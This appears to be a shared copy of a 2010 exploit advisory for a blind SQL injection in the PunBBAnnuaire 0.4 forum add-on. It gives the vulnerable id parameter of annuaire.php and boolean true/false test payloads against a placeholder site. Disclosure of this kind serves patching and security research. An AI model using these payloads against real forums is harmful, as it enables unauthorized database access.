PunBBAnnuaire 0.4 Blind SQL Injection Vulnerability

Report as inappropriate Your report has been received

Shared by: h3m4n

Tags

Stats

views:: 28
posted:: 5/23/2010
language:: English
pages:: 1

Public Domain

Document Sample

							                           PunBBAnnuaire 0.4 Blind SQL Injection Vulnerability   Page 1/1
   1   PunBBAnnuaire <=0.4 Blind SQL Injection Vulnerability
   2   ========================================================
   3
   4   ####################################################################
   5   .:. Author : Metropolis
   6   .:. Home : http://xrayoptics.by.ru/
   7   .:. Script : PunBBAnnuaire
   8   .:. Version : 0.4
   9   .:. Download Script: http://www.punres.org/download.php?id=1737
  10   .:. Bug Type : Blind Sql Injection
  11
  12   ####################################################################
  13
  14   ===[ Exploit ]===
  15
  16   /annuaire.php?action=site&id=1[ Blind SQL INJECTION ]
  17
  18
  19   www.site.com/forum/annuaire.php?action=site&id=1 and 1=1 <−− true
  20
  21   www.site.com/forum/annuaire.php?action=site&id=1 and 1=2 <−− false
  22
  23
  24
  25   ####################################################################
  26
  27   Vive la France !




Metropolis                                                                       02/17/2010